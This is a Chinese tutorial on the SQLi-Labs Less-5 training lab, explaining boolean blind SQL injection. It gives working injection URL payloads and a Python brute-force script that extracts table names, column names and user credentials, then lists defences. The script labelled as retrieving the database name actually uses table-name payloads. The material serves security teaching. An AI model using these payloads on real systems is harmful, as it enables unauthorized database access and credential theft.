SQLILABS-详解less-5
字数 1275 2025-08-18 17:33:42
SQL注入实战教学:SQLi-Labs Less-5 布尔盲注详解
一、关卡概述
SQLi-Labs Less-5 是一个典型的布尔盲注(Boolean-based Blind SQL Injection)练习环境。与之前的关卡不同,这一关的特点是:
- 无论SQL查询是否正确,页面只会有两种响应状态:
- 查询成功时显示"You are in"
- 查询失败时无特殊显示
- 无法直接通过页面回显获取查询结果
- 传统的UNION联合查询注入方式在此不适用
二、代码审计分析
通过分析后端代码(虽然未直接展示但可通过行为推断):
- 应用程序接收
id参数并直接拼接到SQL查询中 - 查询结果只用于判断是否显示特定消息,不直接输出数据
- 存在SQL注入漏洞但无直接回显通道
三、布尔盲注原理
布尔盲注是一种基于条件响应的注入技术,通过构造真/假条件并观察应用程序的不同响应来推断信息。
基本流程:
- 构造一个条件查询,如
id=1' and 1=1 -- - 观察正常响应
- 构造
id=1' and 1=2 -- - 观察异常响应
- 通过比较差异逐步推断数据库信息
四、实战步骤详解
1. 确定注入点
基本测试:
?id=1' --
?id=1" --
?id=1' and 1=1 --
?id=1' and 1=2 --
观察哪些语句触发"You are in"响应,确认单引号是有效闭合方式。
2. 确定列数
虽然UNION不可用,但确定列数仍有参考价值:
?id=1' order by 3 --
?id=1' order by 4 --
通过响应变化确定列数为3。
3. 数据库名爆破
方法一:手工注入
(1) 确定数据库名长度:
?id=1' and length(database())=8 --
(2) 逐字符猜解数据库名:
?id=1' and substr(database(),1,1)='s' --
?id=1' and ascii(substr(database(),1,1))=115 --
方法二:使用Python脚本自动化
import requests
# 配置部分
url = "http://192.168.1.200:5151/sqlilabs/Less-5"
payload_len = "?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={n} -- a"
payload_str = "?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{n},1))={r} -- a"
def get_length(url, payload):
length = 1
while True:
response = requests.get(url + payload.format(n=length))
if 'You are in' in response.text:
print(f"长度确定: {length}")
return length
print(f"测试长度: {length}")
length += 1
def get_string(url, payload, length):
result = ''
for l in range(1, length+1):
for n in range(33, 126):
response = requests.get(url + payload.format(n=l, r=n))
if 'You are in' in response.text:
result += chr(n)
print(f"第{l}个字符: {chr(n)} | 当前结果: {result}")
break
return result
# 执行爆破
length = get_length(url, payload_len)
result = get_string(url, payload_str, length)
print(f"最终结果: {result}")
4. 表名爆破
修改payload获取表名:
payload_len = "?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={n} -- a"
payload_str = "?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{n},1))={r} -- a"
5. 列名爆破
获取指定表(如users)的列名:
payload_len = "?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()))={n} -- a"
payload_str = "?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),{n},1))={r} -- a"
6. 数据爆破
获取users表中的数据:
payload_len = "?id=1' and length((select group_concat(username,':',password) from users))={n} -- a"
payload_str = "?id=1' and ascii(substr((select group_concat(username,':',password) from users),{n},1))={r} -- a"
五、关键函数说明
length(): 返回字符串长度substr(str,pos,len): 截取字符串- str: 要截取的字符串
- pos: 开始位置(从1开始)
- len: 截取长度
ascii(): 返回字符的ASCII码group_concat(): 将多行结果合并为单个字符串
六、效率优化技巧
- 使用二分法代替线性搜索:
def get_char(url, pos):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
payload = f"?id=1' and ascii(substr((select database()),{pos},1))>{mid} -- a"
response = requests.get(url + payload)
if 'You are in' in response.text:
low = mid + 1
else:
high = mid - 1
return chr(low)
- 使用Burp Suite Intruder进行爆破
- 设置攻击类型为"Cluster bomb"
- 第一个payload设置位置参数(1,2,3...)
- 第二个payload设置ASCII值范围(32-126)
- 根据响应长度/内容过滤结果
七、常见问题解决
-
VMware网络问题:
- 确保使用NAT或桥接模式
- 检查虚拟网络编辑器设置
- 参考解决方案:VMware网络配置指南
-
脚本不工作可能原因:
- URL或payload格式错误
- 特殊字符需要URL编码
- 网络连接问题
- 目标服务未启动
八、防御建议
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 对输入进行严格过滤和验证
- 禁用错误详细信息的显示
- 使用Web应用防火墙(WAF)
通过本教程,您应该掌握了布尔盲注的基本原理和实战方法。这种技术适用于无直接回显但存在条件响应的SQL注入场景,是渗透测试中的重要技能。